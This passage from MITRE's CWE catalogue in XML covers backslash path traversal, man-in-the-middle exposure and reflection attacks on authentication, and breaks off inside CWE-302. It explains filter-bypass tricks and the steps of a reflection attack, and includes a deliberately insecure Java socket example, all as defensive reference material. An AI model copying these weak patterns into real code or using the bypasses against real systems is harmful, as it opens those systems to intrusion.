					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Check for
						Certificate Revocation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="30" Name="Path Traversal: '\dir\..\filename'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a
					location that is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>This is similar to CWE-26, except using "\" instead of "/". The
						'\dir\..\filename' manipulation is useful for bypassing some path traversal
						protection schemes. Sometimes a program only checks for "..\" at the
						beginning of the input, so a "\..\" can bypass that check.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1987</Observed_Example_Reference>
					          <Observed_Example_Description>Protection mechanism checks for "/.." but doesn't
						account for Windows-specific "\.." allowing read of arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>7 - '\directory\..\filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Leading
						Directory Dot Dot Backslash - '\directory\..\filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="300" Name="Channel Accessible by Non-Endpoint ('Man-in-the-Middle')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not adequately verify the identity of actors
					at both ends of a communication channel, or does not adequately ensure the
					integrity of the channel, in a way that allows the channel to be accessed or
					influenced by an actor that is not an endpoint.</Description_Summary>
				        <Extended_Description>
					          <Text>In order to establish secure communication between two parties, it is
						often important to adequately verify the identity of entities at each end of
						the communication channel. Inadequate or inconsistent verification may
						result in insufficient or incorrect identification of either communicating
						entity. This can have negative consequences such as misplaced trust in the
						entity at the other end of the channel. An attacker can leverage this by
						interposing between the communicating entities and masquerading as the
						original entity. In the absence of sufficient verification of identity, such
						an attacker can eavesdrop and potentially modify the communication between
						the original entities.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The summary identifies multiple distinct possibilities, suggesting that
						this is a category that must be broken into more specific weaknesses.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could pose as one of the entities and read or possibly
							modify the communication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always fully authenticate both ends of any communications
							channel.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Adhere to the principle of complete mediation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A certificate binds an identity to a cryptographic key to authenticate
							a communicating party. Often, the certificate takes the encrypted form
							of the hash of the identity of the subject, the public key, and
							information such as time of issue or expiration using the issuer's
							private key. The certificate can be validated by deciphering the
							certificate with the issuer's public key. See also X.509 certificate
							signature chains and the PGP certification structure.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the Java snippet below, data is sent over an unencrypted channel
						to a remote server. By eavesdropping on the communication channel or posing
						as the endpoint, an attacker would be able to read all of the transmitted
						data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Socket sock;</Code>
							              <Code>PrintWriter out;</Code>
							              <Code/>
							              <Code>try {</Code>
							              <Block>
								                <Code>sock = new Socket(REMOTE_HOST, REMOTE_PORT);</Code>
								                <Code>out = new PrintWriter(echoSocket.getOutputStream(),
									true);</Code>
								                <Code/>
								                <Comment>// Write data to remote host via socket output
									stream.</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>M. Bishop</Reference_Author>
					          <Reference_Title>Computer Security: Art and Science</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Man-in-the-middle (MITM)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Routing Detour </Mapped_Node_Name>
					          <Mapped_Node_ID>32</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not rely on the default automatic signature verification
						provided by URLClassLoader and java.util.jar</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>466</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>57</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Man-in-the-middle
						(MITM)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Channel Accessible by
						Non-Endpoint (aka 'Man-in-the-Middle')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="301" Name="Reflection Attack in an Authentication Protocol" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Simple authentication protocols are subject to reflection
					attacks if a malicious user can use the target machine to impersonate a trusted
					user.</Description_Summary>
				        <Extended_Description>
					          <Text>A mutual authentication protocol requires each party to respond to a
						random challenge by the other party by encrypting it with a pre-shared key.
						Often, however, such protocols employ the same pre-shared key for
						communication with a number of different entities. A malicious user or an
						attacker can easily compromise this protocol without possessing the correct
						key by employing a reflection attack on the protocol.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>718</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The term "reflection" is used in multiple ways within CWE and the
						community, so its usage should be reviewed.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>Reflection attacks capitalize on mutual authentication schemes in order to
						trick the target into revealing the secret shared between it and another
						valid user. In a basic mutual-authentication scheme, a secret is known to
						both the valid user and the server; this allows them to authenticate. In
						order that they may verify this shared secret without sending it plainly
						over the wire, they utilize a Diffie-Hellman-style scheme in which they each
						pick a value, then request the hash of that value as keyed by the shared
						secret. In a reflection attack, the attacker claims to be a valid user and
						requests the hash of a random value from the server. When the server returns
						this value and requests its own value to be hashed, the attacker opens
						another connection to the server. This time, the hash requested by the
						attacker is the value which the server requested in the first connection.
						When the server returns this hashed value, it is used in the first
						connection, authenticating the attacker successfully as the impersonated
						valid user.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The primary result of reflection attacks is successful authentication
							with a target machine -- as an impersonated user.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use different keys for the initiator and responder or of a different
							type of challenge for the initiator and responder.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Let the initiator prove its identity before proceeding.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block>
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>unsigned char *simple_digest(char *alg,char *buf,unsigned int len,
								int *olen) {</Code>
							              <Block>
								                <Code>const EVP_MD *m;</Code>
								                <Code>EVP_MD_CTX ctx;</Code>
								                <Code>unsigned char *ret;</Code>
								                <Code>OpenSSL_add_all_digests();</Code>
								                <Code>if (!(m = EVP_get_digestbyname(alg))) return NULL;</Code>
								                <Code>if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return
									NULL;</Code>
								                <Code>EVP_DigestInit(&amp;ctx, m);</Code>
								                <Code>EVP_DigestUpdate(&amp;ctx,buf,len);</Code>
								                <Code>EVP_DigestFinal(&amp;ctx,ret,olen);</Code>
								                <Code>return ret;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>unsigned char *generate_password_and_cmd(char *password_and_cmd)
								{</Code>
							              <Block>
								                <Code>simple_digest("sha1",password,strlen(password_and_cmd)</Code>
								                <Code>...</Code>
								                <Code>);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block>
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String command = new String("some cmd to execute &amp; the
								password") MessageDigest encer =
								MessageDigest.getInstance("SHA");</Code>
							              <Code>encer.update(command.getBytes("UTF-8"));</Code>
							              <Code>byte[] digest = encer.digest();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3435</Observed_Example_Reference>
					          <Observed_Example_Description>product authentication succeeds if user-provided
						MD5 hash matches the hash in its database; this can be subjected to replay
						attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Insufficient Validation", Page
						38.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Reflection attack in an auth protocol</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>90</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Maintenance_Notes, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="302" Name="Authentication Bypass by Assumed-Immutable Data" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The authentication scheme or implementation uses key data
					elements that are assumed to be immutable, but can be controlled or modified by
					the attacker.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>807</Relationship_Target_ID>
					          <!--Reliance on Untrusted Inputs in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
